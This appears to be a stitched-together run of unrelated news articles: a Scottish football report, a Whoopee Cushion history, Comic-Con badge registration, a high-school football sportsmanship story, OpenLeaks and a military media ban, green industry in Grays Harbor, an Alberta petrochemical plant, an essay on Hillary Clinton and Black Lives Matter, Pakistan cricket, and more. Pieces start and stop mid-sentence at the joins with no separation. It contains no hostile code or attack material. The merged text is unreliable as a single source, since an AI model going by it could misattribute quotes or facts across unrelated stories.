Saints did find a way through when Stevie May and Gary McDonald linked and an unwitting assist from Dons skipper Russell Anderson sent Lee Croft scurrying in on goal.
The former Manchester City midfielder hammered in a low, angled shot but keeper Jamie Langfield got the slightest touch on the ball, directing it against the post.
Media playback is not supported on this device Interview: Aberdeen manager Derek McInnes
Dave McKay then made a mess of a close-range header and suddenly Saints found themselves two goals behind.
David Wotherspoon was unconvincing when clearing an aimless, deep cross from Hayes and Pawlett gathered the loose ball to drive into the penalty box before slipping a cool finish under Banks.
St Johnstone hit the frame of the goal again early in the second half when a looping header from McKay landed on the junction of post and bar. McDonald helped the stray ball on and May's attempt to convert from inside the six yard box was thwarted by Reynolds.
Aberdeen thought they had won a penalty when Banks flapped at the heels of Rooney after beating away a low shot from Pawlett but the keeper was spared, briefly, when an offside decision went against the striker.
Media playback is not supported on this device Interview: St Johnstone manager Tommy Wright
Rooney was not to be denied, however, and moments later the January signing was celebrating his second goal in two games for the Dons.
Pawlett robbed the dithering McKay and clipped a lovely pass forward for the striker to run on to and slam a shot beyond the exposed Banks.
Saints' heads dropped in the heavy Edinburgh rain as Hayes fired a rising strike over the crossbar and a powerful header from Considine cannoned off the crossbar.
With 10 minutes remaining, Hayes twisted away from the retreating Anderson to send a skidding shot past Banks from the edge of the penalty box and the singing from the jubilant fans in red reached new levels in spite of the wretched weather."It gives forth noises that can be better imagined than described." This ad line, from the famous novelty catalogue by Johnson Smith & Company, is describing what was to become one of the most famous gags of all time – the Whoopee Cushion. The giant mail order emporium in 1931 introduced a joke that became the undisputed King of Flatulence Gags to its audience of prepubescent subscribers.
The JEM Rubber Co. invented the infamous Whoopee Cushion in Toronto in 1930. The gag is still popular today. ( PHOTO SUPPLIED )
And to think it all started in 1930 as the brainchild of the JEM Rubber Co., at 3723 Dundas St. W., just west of Jane St., in Toronto. Before 1930, the novelty industry offered a variety of Whoopee Cushion type apparatuses, but none delivered that special something. The closest was a tiny bellows you could hide under a seat cushion, called a Musical Seat. But it didn't let out that highly recognizable sound; instead the victim instigated a sound much like a screeching cat, or a crying child.
Article Continued Below
This all changed in 1930 when sales reps from JEM toured the novelty industry promoting their new invention complete with the sound. They approached Samuel Sorenson Adams of the S.S. Adams Co. of Asbury Park, N.J. Adams, at the time, was the premier joke/magic trick/puzzle manufacturer in North America. Sorenson, to his later regret, turned down the offer to be the exclusive distributor because he felt the idea was "indelicate." It was then offered to Johnson Smith & Company. When sales took off, Adams realized his error and quickly obtained the rights to a version of his own, which he called the Razzberry Cushion. Almost 80 years have passed since the Whoopee Cushion was first introduced, but it has never lost its appeal. Time has also spawned many variations. You can now get one on a key-chain and as a full dress costume, as well as self-inflating and electronic versions. Stan and Mardi Timm are novelty collectors and researchers based in Racine, Wisc. Email living@thestar.ca. Some of the gags our parents, or grandparents, used on their unsuspecting victims might set off some heavy litigation today.
However, some gags from days gone by are still popular today: - Stan and Mardi TimmAfter months of delays and system testing, everyone hoping to return to San Diego Comic-Con in 2014 was growing restless and skeptical of the new registration system’s promised performance improvements. And they sure had reason to be – with the increased demand for badges over the past few years, the registration process has cost many a chance with its frequent system crashes.
Even though this was just preregistration, granting those who attended in 2013 a chance to return this year, the event had all the attention of open registration, and everyone was watching to see just how the system would respond. Would there be any crashes this year? How will the randomization process work? How fast will badges sell out?
We, and thousands of others who participated in preregistration this past weekend, finally found out. And we were pleasantly surprised by the results, which weren’t perfect but far better than in previous years.
The Waiting Room
Things in the waiting room started out rather ominously, with several reports of people getting kicked out early on:
@SD_Comic_Con anyone else getting kicked out of the waiting room a few minutes after they've entered it? — monica (@For_Nuriko) February 8, 2014
@SD_Comic_Con I just bumped out of Waiting room and I wasn't doing anything on my computer–and it didn't go into sleep mode or anything! — David Lee (@DavidLe51758595) February 8, 2014
One person even received a message that they refreshed the page manually (a big no-no, according to CCI’s registration system tips) when they hadn’t:
https://twitter.com/AnitaKellams/status/432181142511308800
At around 9:04 AM PT, we got our first update via the registration system that randomization had begun for folks in the waiting room:
At 9:09 AM PT, the message changed to notify everyone in the waiting room the randomization was complete, and the registration process would begin:
For those who were skeptical of the randomization process, it did indeed work, and we received several reports from those who were running multiple computers at once for different personal registration codes, like this:
@SD_Comic_Con Quick note: Used my Badge code at 7am PT on one computer, my friend's Badge Code at 8:35am PT on another. Her code got in 1st. — Bill Lehecka (@billlehecka) February 8, 2014
And at this point we must commend both CCI and EPIC for constantly updating attendees via the yellow message bar on the Waiting Room screen. Every few minutes, the messages would change to alert everyone on the current status of the system, where folks were in the process, and even tips to help inform and entertain those who felt the long wait to checkout weighed on already frayed nerves. Here are a few examples:
“Make sure your computer’s power saving settings are off or adjust them if needed. We don’t want your computer to power down or go to sleep while you’re waiting!” – via Jenny Hirschfeld, Google+
“Buying for others? It’s a good idea to verify that you have the correct spelling of everyone’s last name and Member ID before you begin!” – via Jenna Johnson, Google+
“The increasingly popular WonderCon Anaheim 2014, Comic Con’s sister show, takes place in the Anaheim Convention Center from April 18 to 20. Badges will go on sale soon!” – via Jenna Johnson, Google+
“Is your blue circle spinning? That graphic lets you know that your page is active and you will begin your registration session once you reach the front of the line.” via Jenna Johnson, Google+
But the one message which got the best response among those logged into the system was:
“New message: ‘Channel your inner Yoda and your patience may pay off. Do not refresh young Padawans!'” – via Artimus Naugin, Google+
The Checkout Process
Once people started to move through checkout, the system stayed relatively rock-solid and stable, albeit slow. Undoubtedly this was by design, in order to move small groups at a time in order to manage the system load. From the time randomization completed, at 9:09AM PT, it took two hours and 26 minutes for all badges to be accounted for.
Some weren’t so thrilled with the wait.
@SD_Comic_Con blue circle still spinning. messages updating. STILL NOT IN GD REG. 2+hrs. — stacy bennett (@stacybennett) February 8, 2014
“If I knew it would be this long of a wait, I would’ve worn a diaper.” – via Artimus Naugin, Google+
At 9:29AM PT, the first badges to sell out were for Preview Night, which have historically been available in limited quantities and always the first to go:
Looks like preview day badges are SOLD OUT! 4 day badges still available! #sdcc @SD_Comic_Con — Traveling Pumpkins (@TPumpkins) February 8, 2014
At 10:14 AM PT, the message was posted on the EPIC registration system that Saturday badge inventory was running low. Then four minutes later, at 10:18 AM PT, it was posted that both Friday and Saturday were running low. Ten minutes after that, at 10:28 AM PT, the announcement was made that both Friday and Saturday badges were sold out.
“Friday and Saturday badges are sold out. We apologize for the inconvenience, but exciting events are scheduled for everyday of Comic-Con 2014! Thursday and Sunday badges are still available for purchase.” – via Jonathan Allain (@eolith)
By 10:45 AM PT, those in the Waiting Rom were alerted that Thursday badge inventory was running low:
Six minutes later, at 10:51 AM PT, Thursday badges were all gone:
http://twitter.com/Skynsurf/status/432225150226800641
The last to go were Sunday badges, which were announced sold out at 11:35 AM PT.
Sunday now sold out… RT @ebrown2112: @SD_Comic_Con The page says they're sold out. #SDCC — SDCC Unofficial Blog (@SD_Comic_Con) February 8, 2014
Close, But No Cigar
As we stated earlier, although the process went largely without the problems that plagued it in the past, there were some isolated issues experienced by several people. For example, we saw a few folks mention their blue circle stopped spinning, as if the page froze, but another reader said he thought it might indicate that meant they were getting readied for the checkout process:
http://twitter.com/Janeluv/status/432222903623372802
@SD_Comic_Con When my blue circle froze, it just meant the order page was loading. It took a few seconds for it to load. YMMV. — Bill Lehecka (@billlehecka) February 8, 2014
We also saw of reports getting kicked out of the Waiting Room, and when they attempted to log back in the system saw they had already redeemed their personal registration code and would not allow them back in the system.
“‘Registration code – already Fully Redeemed’ when I got to the front of the line, my brother bought my badge and was trying to buy for some friends” – via Scott Porter, Google+
Reader Annika Ahmed contacted us via email to share her story on Tumblr where she documented the steps and screenshots which lead up to her experiencing this issue:
We stood in front of our laptops, reading all the little updates. Then sometime between 9:10 AM and 9:15 AM, my husband got an error message, the first screenshot.
Never have we seen such a terrifying thing! At this point, since we were pretty much screwed, we did what Comic Con said not to and we refreshed the page. Then we got the second screenshot. Judging by the URL, it seems like there was some sort of an error when taking him into his preregistration session.
Okay, that’s a total bummer. With no other option available to us, my husband went back to the landing page and attempted to start the whole thing over again. That’s when he got the third screenshot.
And towards the end of the day, users started to receive a generic system message upon page refresh stating: “An error occurred while processing your request.” Below is one example, but judging from the replies there were many more who experienced the same:
http://twitter.com/justanotherjerk/status/432228438137520128
Analyzing the New System
As we watched the process closely during our Google+ Hangout and were alerted of message updates and badge inventory by our readers, we did get a glimpse into how the new system might work. For example, those in the Waiting Room who were getting message updates before others seemed to also be able to checkout before others, indicating there might be some correlation between the two. Also, we noticed that even though those in the Waiting Room were seeing updates that certain badges were sold out, those in checkout were able to purchase those same badges. We think the system may be estimating inventory availability based on those in the checkout process, or not accounting for badges which were re-added to the inventory because of shopping cart timeouts or declined transactions.
So what does this mean for open registration, when we expect even more people to take part? We’re still unsure. Combine everyone who wasn’t eligible for preregistration, along with those coming out of this weekend who want to upgrade or complete their badges, the real test is to come. We expect CCI and EPIC to review the outcome of this weekend and plan to make the necessary improvements to handle the additional load, but given that there has already been several delays with the registration schedule, will they have enough time?
All Things to All People
We knew the changes to the system wouldn’t make everyone happy, but they would ultimately address the main concern with the majority of those rushing to register – the stability of the system and the technical issues of the past which had prevented many from purchasing badges. And it is the internet, after all, so expect negativity to be louder than any positive comments. Still, we hunted down a few tweets from our readers on their thoughts of how the process went.
No crashing, yay! MT @SD_Comic_Con Want to say THANK YOU to @Comic_Con & @EpicRegister for largely smooth and issue-free prereg sale #SDCC — Todd (@wetodded) February 8, 2014
@SD_Comic_Con @Comic_Con @EPICRegister at least last year if I clicked at 9:00.001am I had a chance. This method automatically excluded. — Giants Wookie (@DanChambliss) February 8, 2014
Comic Con pre registration = utter disaster @SD_Comic_Con only Sunday available and then system crashed @SDCC — chris hines (@onukai) February 8, 2014
Another year that I have issues with @comiccon, couldn't even make it half way through the badge buying process. @SD_Comic_Con |
stop us, do they celebrate? Their teammate is about to be LifeFlighted. It just was the right thing to do.”
His ultimate decision was to kneel on the ball and give Tompkins the win.
“I think it was good that we kneeled to show respect to them,” Lopez said. “Like one our coaches said, 'It’s more than just a game.'”
Ferrini, who earlier was on the verge of having his number called to drive the ball into the end zone, was happy with the decision as well.
“It made me feel relieved,” Ferrini said. “I didn’t want to do that to them. I felt happy that we could let them go with the victory after they lose one of their players.”
Ferrini put himself in Tompkins’ shoes.
“If that happened to one of my teammates, I know I wouldn’t have been able to stop them,” Ferrini said. “I wouldn’t have been able to fight them off at the 1-yard line. I understand where we’re coming from here. I respect coach’s decision.”
Tompkins athletic director and football coach, Anthony Tademy was touched by The Woodlands’ decision.
“It showed a lot of class," Tademy said. “It wasn’t about a win or a loss.”
The humility shown by the Highlanders has not been ignored in The Woodlands community.
“Everyone has been talking about it at school,” Lopez said. “People keep asking questions about what happened and if he will be OK. People say it was good that we kneeled.”
Due to FERPA laws, Katy ISD couldn’t provide an update on the athlete’s condition.
“As with any of our players, we hold a strong bond with them, especially during difficult times,” Tademy said. “We are hoping for a quick recovery.”
Colschen was proud of how his team handled the whole situation.
“I believe all of our kids — and they are a great group of kids — respected the decision,” Colschen said.The alternative whistleblower site created by WikiLeaks defectors may launch sooner than later, according to Swedish newspaper Dagens Nyheter (DN). The project is being referred to as "OpenLeaks" and is reportedly on track to launch this coming Monday. Though the newspaper didn't name its sources, it's clear from the group's goals that the founders essentially want to be the anti-WikiLeaks.
"Our long-term goal is to build a strong, transparent platform to support whistleblowers—both in terms of technology and politics—while at the same time encouraging others to start similar projects," an anonymous person told DN. "As a short-term goal, this is about completing the technical infrastructure and ensuring that the organization continues to be democratically governed by all its members, rather than limited to one group or individual."
That "one group or individual" is a clear reference to WikiLeaks founder Julian Assange, who is becoming increasingly known as a Steve Jobs-like control freak when it comes to managing the organization.
As such, the revelation that former WikiLeaks staffers might be starting up their own site is unsurprising. Last month, a report surfaced saying that former WikiLeaks hotshot Daniel Domscheit-Berg was heading up the (at the time) unnamed project. Domscheit-Berg and a handful of others had unceremoniously left WikiLeaks earlier this year due to disagreements with Assange, and a WikiLeaks spokesperson confirmed then that the defectors were working on something new.
Aside from being run like a democracy, OpenLeaks has other operational differences in mind. The group hopes to act as a neutral party "without a political agenda," aside from the goal of disseminating information to the public, that is. The group doesn't even plan to leak the documents to the public directly—instead, it hopes to create a system wherein nonprofits, the media, and important trade groups can access the info in order to process and publish it as appropriate.
The sources didn't discuss how OpenLeaks plans to limit access, though they did discuss developing new technology to deal with the leaked documents. It's possible that OpenLeaks will require organizations to apply for their own log-ins that can be used to access the site, or approved organizations will get access on an IP-limited basis.
Such a strategy seems appropriate if OpenLeaks wants to avoid some of the backlash that WikiLeaks and Assange has seen thus far. Instead of thrusting itself into the limelight, OpenLeaks would simply act as a document repository for news organizations to pillage, putting the editorial control and hard decision-making (such as which details to censor and which to publish) into the hands of actual journalists.
"[I]t is quite interesting to see how little of politicians' anger seems directed at the newspapers using WikiLeaks sources," one of DN's sources pointed out.
In an attempt to keep US military stuff off of leak sites, the military has issued a blanket ban on all removable media from accessing its network, SIPRNET. The "Cyber Control Order" was issued at the beginning of this month (and leaked to Wired), and states that those caught making unauthorized data transfers to removable media, servers, or standalone computers could face punishment by court-martial.
The obvious goal is to stop insiders from grabbing documents to send to the likes of WikiLeaks or OpenLeaks, but several military members have acknowledged that the ban will only make their everyday jobs harder. Of course, flash drives and the like have caused problems for the military before—in fact, a previous ban on removable disks was recently lifted—so the fact that it's cracking down again at the expense of convenience comes as no surprise.Looking for news you can trust?
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In the heart of Washington state’s logging country, where it’s a treasured pastime to curse the endangered spotted owl, you’ll find one of the greenest paper mills around. Tucked along the rainy coastline, Grays Harbor Paper produces some of the country’s only 100 percent recycled paper in a plant powered entirely by biomass fuel derived from logging waste. It wasn’t always like this. The mill, formerly owned by itt Rayonier and International Paper, shut down in 1992, putting more than 600 people from nearby Hoquiam and Aberdeen out of work. “Families were breaking up and moving out,” says Bill Quigg, a Hoquiam native who bought the mill in 1993. “There were suicides. It was really a hard time.” Today, Grays Harbor Paper employs more than 200 people and Hoquiam is home to one of the nation’s largest biodiesel plants.
Like other areas that have been shut out of the postindustrial economy, Grays Harbor turned to renewable energy not for feel-good reasons but financial ones. “Politically I am on the right side of Genghis Khan,” says Quigg. “I’m not a lefty wacko.” Nevertheless, “We make the greenest products, and we make them with the greenest fuel,” he enthusiastically boasts. “Nobody else does that. We have the audacity to think we can change the market. If you buy local and smarter, you save a tremendous amount of fossil fuel.”
Whether Quigg’s strategy will work in the long run remains to be seen. The mill runs on a tight budget; its Harbor 100 recycled paper represents a mere 2 percent of sales. Two years ago, the city of Seattle contracted to buy Harbor 100 for office use. With a few more contracts like that, Quigg says, he can afford to make his plant even more environmentally sound and eventually build a recycled pulp mill to “close the loop.” In the meantime, he says he’ll keep taking advantage of the area’s unique resources. We don’t know how to stop the trees from growing here,” he says. “We live in the best biomass area in the continental U.S.”
Grays Harbor is a case study of how investment in renewable energy can bring rural areas back from the doldrums, explains Rep. Jay Inslee, a Washington state Democrat and clean-energy advocate. “I love small towns, and I don’t like to see them shriveling up,” he says. “Grays Harbor is just one of hundreds of towns that are experiencing this rebirth.”
Among the other down-and-out locales banking on alternative energy:
langdon, north dakota: After watching its population blow away with its legendarily fierce winds, the town’s leaders got an idea. Last December, it became home to a $300 million, 106-turbine wind farm that produces enough energy to power as many as 40,000 homes.
reynolds, indiana: Already known as “BioTown, USA,” Reynolds is trying to go completely off the grid by tapping into a local resource: cow and hog manure. The town is about to break ground on an anaerobic digester, which will turn methane gas from animal waste into electricity.
clinton county, iowa: A refinery near the Mississippi pumps out 10 million gallons of biodiesel a year and supports 13 full-time jobs. The nearly two-year-old plant used soybeans until prices tripled; it now makes fuel from animal fats.Inter Pipeline Ltd. says it will proceed with construction of the largest project in its history, a $3.5-billion petrochemical facility that will benefit from financial backing of the Province of Alberta.
The Heartland Petrochemical Complex, an integrated propane dehydrogenation (PDH) and polypropylene (PP) plant, will be designed to convert approximately 22,000 bbls/d of propane into 525,000 tonnes per year of polymer grade propylene.
Propane feedstock for the PDH plant will be sourced from Inter Pipeline’s Redwater Olefinic Fractionator as well as several other third party fractionators in the region.
The project will receive $200 million in royalty credits awarded through the province's Petrochemical Diversification Program in December 2016.
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The program also awarded up to $300 million to Pembina Pipeline for its proposed petrochemical plant, which has yet to receive a final investment decision.
Alberta’s petrochemical industry is currently entirely ethane-based. Both the Pembina and Inter Pipeline projects are aimed creating value from western Canada’s stranded and abundant propane.
Detailed engineering for the PDH facility was awarded to Fluor Corporation in 2013 and is now approximately 85 percent complete, the company said on Monday.
Inter Pipeline has also completed early civil work at the site in preparation for facility construction activities in early 2018.
Linde Engineering was awarded the front end engineering design contract for the integrated PP facility in 2017, and work is currently approximately 70 percent complete. Construction of this component of the complex is scheduled to begin in the second half of 2018.
Inter Pipeline expects to earn an average of $400 million to $500 million per year from the Heartland Petrochemical Complex once operational in late 2021.
Image: Rendering of the Heartland Petrochemical Complex. Source: Inter Pipeline Ltd.As I shadowed Clinton for a few days and saw her speak with sincerity to black people, I began to wonder if some of her shift on race was also the product of her time as secretary of state. A front seat to the Obama presidency showed her how much animus lurked in the depths of the nation’s racial subconscious, just how brutal and unforgiving the nation can be about the idea of a black man in charge. That understanding has translated into increased compassion for the average black citizen: If this is what America at its worst thinks about an obviously gifted black man—if they fail to create much room in their psyches for a figure who is exceptional by any measure—then what must be the plight of the ordinary Shaquille or Shaniqua making their way in the world? “You’ve got to be thinking all the time, how do we create questions that are rooted in the real life experience of African Americans today?” Clinton had told me in New York. “And present them in a way that gets white Americans to go, ‘Oh. I didn’t know that. I never thought about that. Oh. Well, that’s not right.’” The racial lightbulb seems to have gone on in Clinton’s mind.
Clinton received a rousing ovation as she offered her remarks at the luncheon, proving that at least these particular black people were not preoccupied with the past. And while the forgiveness here sprang from the overlapping dictates of mutual need, it still must have felt good to be back in these good black graces, helped along by time, her service under Obama, and the turning of the political tides in her favor. She sounded genuinely grateful as she spoke, praising the people who had come to hear her for the “continuing work that so many of you have done … to feel that opportunity was there, to find ways to live up to their own God-given potential … knowing that you all have played a role in this: the clergy, business, activists, professionals—all of you. And I really am here today to say thank you.”
Things would be considerably less gracious at a rally later that day in a gymnasium at Clark Atlanta University. There, surrounded by a mostly younger coterie of black leaders—Atlanta Mayor Kasim Reed, former NBA player Grant Hill, R&B artists Usher and Monica, as well as civil rights legends Andrew Young, C.T. Vivian, and John Lewis, who introduced her—Clinton was at first greeted with great enthusiasm.
“I know that there are differences in the world we live in today,” she began, “and in the challenges we face, but the leaders of the civil rights movement had it right: organizing, mobilizing and politicizing, using nonviolence, using the power of the feelings that come forward—”
As if on cue, nine young activists made their way into the gymnasium, clapping, singing the protest anthem “Hell You Talmbout,” and chanting, “Black lives matter!”
“And yes, they do,” Clinton hastily agreed. “Yes, they do. Yes, they do, and I’m going to talk a lot about that in a minute.”
The activists continued their clamor, but Clinton was undaunted.
“Now, my friends, I am going to get to some very important points that actually prove that black lives do matter and we have to take action together.”
As the activists protested, Clinton preached, offering a remarkable run of ideas that revealed her maturing grasp of the platform the activists proposed:
To all the young people here today, those who are listening, and those who are singing, let me say this: We need you. We need the promise of a rising generation of activists and organizers who are fearless in your advocacy and determination. Actually, a few weeks ago, I sat down with some of the people here. We had a very nice conversation. And they were full of energy and ideas, and they shared some of their experiences with me. And I understand and I appreciate their passion and their urgency. But as I told them then, we have to come together as a nation to make the changes that they are calling for. You know, in that meeting a young woman said they spoke about being outsiders in their own country, and those words broke my heart, coming from someone so young. And they also should stiffen our spines, because life does matter and we need to act like it matters.
Clinton’s rhetoric, powerful as it was, failed to satisfy the protesters. Mayor Reed and Representative Lewis ranged through the crowd, attempting to calm them. They were finally forced to give up and return to join Clinton on the stage, symbolic sentinels of the black political elite.
Clinton was getting her first full blast of the public agitation that BLM activists could marshal. They would not be placated: Unlike the old guard, the BLM movement has no history with Clinton. They owe her nothing. This contrasting response to Clinton underscores a bigger battle: one between advocates of respectability politics who believe that black decency carries its own moral force and may persuade white America to treat black Americans humanely, and advocates of what may be termed subversive indifference—those who strategically ignore the reasons and passions of white America in calculating the merit of political response to black suffering. To be sure, there are many black folk who spurn respectability politics but who nonetheless tout an etiquette of political respect: Preserve the humanity of one’s opponent and listen to the other side as the predicate for social change.
The advocates of respectability politics care about how someone like Clinton feels about them; advocates of the etiquette of respect don’t seek Clinton’s approval, or the approval of the black elite, as much as they seek to pressure Clinton and white America into a dialogue about race on the road to transformation. BLM activists don’t care about either: They neither seek the approval of Clinton—or John Lewis, for that matter—nor are they content merely to talk with the white or black powers that be. To paraphrase Marx, BLM believes that leaders and thinkers have interpreted the world, but the point is to change it. If that means practicing politicus interruptus, then so be it—another conference, white paper, commission, rally, or speech won’t do.
Hillary Clinton has exhibited a greater sophistication about race, increased sensitivity about how blackness is lived in our country.
I am an advocate of the etiquette of respect—primarily because I want to be heard even as I listen to others in the attempt to forge change. Those who confuse this for bloodless civility mistake political kindness for political weakness. It is critical to listen, even if one greatly disagrees, not only to plot further strategy, and to determine if what one argues is agreed to or effectively rebutted, but—and this is equally important—to embody the values one seeks to impart. If the point of interrupting speech is to change behavior—a noble goal—what’s to keep others from practicing the same methods on those who interrupt, of interrupting the interrupters, disrupting the disrupters? As a method of gaining audience, the politics of disruption may be invaluable; as a tool to supply the content of social change, not so much.
There is support for the BLM methods in the old guard. The Reverend Dr. Frederick Haynes, the 55-year-old orator, Dallas megachurch pastor, and social activist who gave the keynote speech at Jackson’s luncheon, sees disruption as a critical method of social resistance that unites, rather than divides, multiple generations of black activists.
“Nothing in this country that has progressed has happened without the politics of disruption,” Haynes told me. “You can go to the Boston Tea Party: That’s the politics of disruption. The ending of slavery was through the politics of disruption. Harriet Beecher Stowe’s Uncle Tom’s Cabin, that disrupted the psyche of a country that called itself a democracy. I say let’s keep doing it, and let’s hit the Republicans as well, because we do not progress as a people unless we disrupt what is.”
Not all activist ministers agree. At a black community forum with Los Angeles Mayor Eric Garcetti, held recently at the Holman United Methodist Church in L.A., BLM disrupted the meeting, leading pastor Kelvin Sauls to decry their methods. “There were about 800 people here,” Sauls told the Los Angeles Times, “and 750 of those individuals were silenced because of the disrespect that they have brought to the sanctuary as well as to us as a congregation.”
It remains to be seen whether, in the long run, this sort of direct action at public events will be effective. But there is no denying this point: The palpable discomfort demonstrations produce force our political figures to grapple with new ideas. This is a productive tension.
Consider that Clinton’s message seems tailor-made for BLM activists concerned about white privilege, institutional power, personal culpability, and political prescriptions for substantive change. She was speaking their language, only they never heard her. John Lewis, while acknowledging the need for young activists to make “good trouble,” also said they “have to respect the right of everybody to be heard,” adding that “you do that in a nonviolent, orderly fashion.” The BLM activists, however, believe that without their actions, Clinton may never have addressed the issues they care about.
A new sensitivity to how black people live in this country has elevated Clinton’s standing.
“Disruption is a tactic that will be here for the long run because a lot of times conversations do not happen without pressure,” Avery Jackson, a 20-year-old Morehouse College student, and one of the protesters, told me. “People want a president of the United States who is going to address this, and if they want us to be quiet, they’re going to have to make some change.”
Julius Jones, the BLM activist who’d met with Clinton in New Hampshire, agreed, characterizing these protests as a valid, and considered, tactic. “Some folks wanted us to yell at her. And some folks wanted us to talk to her,” he told me. “There’s a difference between rejecting the politics of respectability and just a respectful conversation. And it’s really important. But I also feel like the way that you get access, the reason why we were able to have a conversation with Hillary Clinton, is directly because of the actions in Seattle,” when BLM activists went after Bernie Sanders.
For Clinton ultimately to be successful in her run for the presidency—and if she’s going to get there with the support of black people, which she will need—she’s going to have to find a way to speak to both the old generation and the new. And she will need to figure out how to get the heart-system dyad right. One way to do that would be to push BLM to find a broader framework for its concerns than just policing. She had met with BLM activists again after New Hampshire, she said, and was impressed when they’d asked: “‘What about housing? What about education? What about community building? What about trying to make it better for more people to have a chance to succeed?’ I think that’s the right direction. You don’t want to get so broad that you lose focus, but you gotta put what you’re really focused on within a broader context. And I felt they were doing that.” And while Clinton believed that BLM was making progress, it is unclear whether the feeling was mutual.
The activists at Clark protested Clinton for nearly 30 minutes, and for nearly 30 minutes Clinton sought to speak over them. The pro-Clinton crowd grew increasingly irritated and offered chants of their own like “let her talk,” until the young people were escorted from the gym.
“I appreciate the congressman and the mayor having my back,” Clinton chuckled as the crowd roared its approval.
She then began to offer details from her criminal justice platform. She called for more responsible policing, saying “the names of young African American men and women cut down too young is a rebuke to us all,” and an end to racial profiling. She argued that citizens with privilege and power had a responsibility to try to see things as others do, admitting earlier that white Americans had “close[d] our eyes to the truth,” believing that “bigotry is largely behind us, that institutionalized racism no longer exists. But as you know so well, despite our best efforts and our highest hopes, America’s long struggle with race is far from finished.”
In her way, Clinton had found that necessary spot, where their calls for changing her heart, and the hearts of white America, dovetailed with her call for altering the system.
Obama never had to face the heat of Black Lives Matter as he ran for office. His slow action on police problems, and his reluctance to confront racial crises, opened a leadership vacuum into which this movement has slipped. Obama has been a big disappointment to many of the black people who, like me, looked to him for leadership. On race, as his conservative opponents like to say about foreign policy, he has led from behind. He has offered lectures about failed black morality but, until recently, avoided embracing race as an issue, for fear that it would damage his ability to “get things done” with the white mainstream.
Which means that Obama has been, until late in his presidency, of little practical use to black folk, the same people who magnified his symbolic value while deflecting attention from his failure to adopt substantive policies to counter, for instance, black unemployment, or persistent intergenerational poverty, or until recently, a criminal justice system that has engulfed the lives of millions of his people. Obama and his fellow Democrats, unlike the BLM activists, have mostly steered safely clear of the folklore of race, the strains of anti-blackness that thread through American history and shape this country’s policies, perspectives, and politics.
Bill Clinton manipulated the racial passions of black folk frustrated at being denied access to the parlors of power. He offered a kind of racial parallelism that suggested—but never delivered—equality between black and white life and privileges. Obama, meanwhile, argued that what was good for America was good for black folk, when exactly the opposite is true: Helping black folk turns out to help America. Tamping down the war on drugs, which targeted black and brown folk, also spared hundreds of thousands of white youth hooked on methamphetamine. Strengthening the social safety net for our most vulnerable black and brown citizens also helped struggling white families hit hard by the recession. Obama’s handsome black face and megawatt smile were enough to blind black folk to the stunning underperformance of his administration on race. If Bill Clinton gave black America bad policy and Obama gave black America no policy, then Hillary Clinton is left only with good policy. She must achieve what her predecessors only promised.
In a sense, Clinton has emerged at precisely what seems like a strikingly unpropitious moment. The boring, the tedious, the serious attention to the small gestures that make big impacts are ill-suited to the unruly temper of the times. But this perceived liability may be her strongest asset to the black masses: She can offer strict attention to policy that unapologetically plays to black needs without ever feeling pressure—as Obama has—to disown, to begrudge the style, of explicit black advance.KARACHI: The Pakistan Cricket Board (PCB) has once again put its faith in Azhar Ali’s leadership as the right-handed batsman has been retained as ODI skipper for the series against the West Indies in the UAE.
The three-match series starts on Sept 30 in Sharjah.
Azhar’s captaincy came under scrutiny following his side’s 1-4 series thrashing in England this summer, with rumours suggesting that the 31-year-old would either resign or would be removed as the leader in the 50-over format.
Read: Wasim Akram wants Azhar Ali to remain ODI captain
Earlier, PCB chairman Shaharyar Khan had also said that they would discuss Azhar’s position as the captain of the ODI side once the team returns back home.
The PCB official, however, confirmed that nothing is going to change and Azhar would continue to lead the team against the Caribbean side, the ANI news agency reported.
Meanwhile, Mohammad Hafeez, who is still struggling with his fitness, has been dropped from the 22-member preliminary list handed to the PCB by former captain Inzamam-ul-Haq led selection committee.
Read: Azhar Ali – waiting to join elite group of ‘sacked’ men
Test opener Sami Aslam and veteran paceman Umar Gul have also failed to make it to the preliminary list, following their poor performance against England in the ODI series while Umar Akmal and young left-arm pacer Rumman Raees have been included in the list.
In contrast, fast-bowler Mohammad Irfan, who bowled just five overs after replacing Hafeez on the England tour, has been named in the 22-man squad.
Besides ODIs, Pakistan will also play three T20s and three Tests against the West Indies in the UAE.
Published in Dawn September 17th, 2016A TTC subway ride was the scene of an epic comic-book clash come to life during the long weekend, when two of Toronto's costumed performers — Batman and Spider-Man — boarded the same train and engaged in apparently impromptu combat.
The masked superheroes were captured on film and pictures by HiMY SYeD at Dundas station.
The two superhero impersonators were photographed by several commuters on the TTC train when both performers encountered one another and got into an apparently friendly tussle. (Submitted by HiMY SYeD )
"There's a commotion a few cars north of where I'm sitting," SYeD recounted in an email to CBC News, adding that the bizarre scenario didn't appear to be staged.
"The commotion was Spidey and the Toronto Batman, the two fixtures who pose for photographs via donation around Yonge-Dundas Square."
SYeD said both actors "just happened to board the same Rocket train, just not from the same doors."
After several minutes, commuters initially trying to ignore the fracas finally began to take notice and started laughing and snapping their own photos, he said.
"It did leave me with [a] smile and a feeling that I got my full token's worth of a ride on the TTC," SYeD said.Fans of "Arrested Development" are rallying in support of one of the show's most beloved (albeit minor) characters.
While the community was ecstatic over news of the show's return, it appears that Justin Grant Wade, the actor who plays George Oscar Bluth Jr.'s illegitimate son Steve Holt[!] has yet to be invited back.
And so the Save Steve Holt movement was born. Armed with a website, a blog and some Steve Holt t-shirts, fans are hoping to pressure the show's producers into bringing Grant Wade back to the show.
The actor himself appears in a video on the website and confirms that he has yet to be asked back for the upcoming fourth season and feature film based on the series. He's also grown quite a beard since we last saw him.
According to Grant Wade, a portion of the proceeds of t-shirts sold from the site will go to "a very good cause." He did not specify which cause.
The Huffingon Post has reached out to Grant Wade for comment.
Though he was a minor character, the student body president was one of the quirky show's trademarks (a post on IFC's website describes him as a "walking catchphrase").
The first of the three series of "Arrested Development" aired in 2003. Though the show amassed a cult following, it never found a large enough audience and Fox canceled the show in 2006. In January of this year, after years of mixed messages from the cast, it was confirmed that the show's "entire cast" would be returning for a fourth season and a feature film based on the series.
Netflix will stream season four of "Arrested" in early 2013 as part of its push for more original content.The Swiss are essentially a placid people. But for the past few months, two words have been sufficient to transport them into a state of agitation: Peer Steinbrück.
They have referred to the German finance minister as "Peitschen Peer" ("Whip Peer"), ever since he threatened to call in the cavalry unless Switzerland, traditionally a tax haven, cooperated with other countries. Even Luxembourg Prime Minister Jean-Claude Juncker, whose country Steinbrück also included in his verbal attack, feels deeply offended.
Only one person is pleased with these reactions: Steinbrück himself.
